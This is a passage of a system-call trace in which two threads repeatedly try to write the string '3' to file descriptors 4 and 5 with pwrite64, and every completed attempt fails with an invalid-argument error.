[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
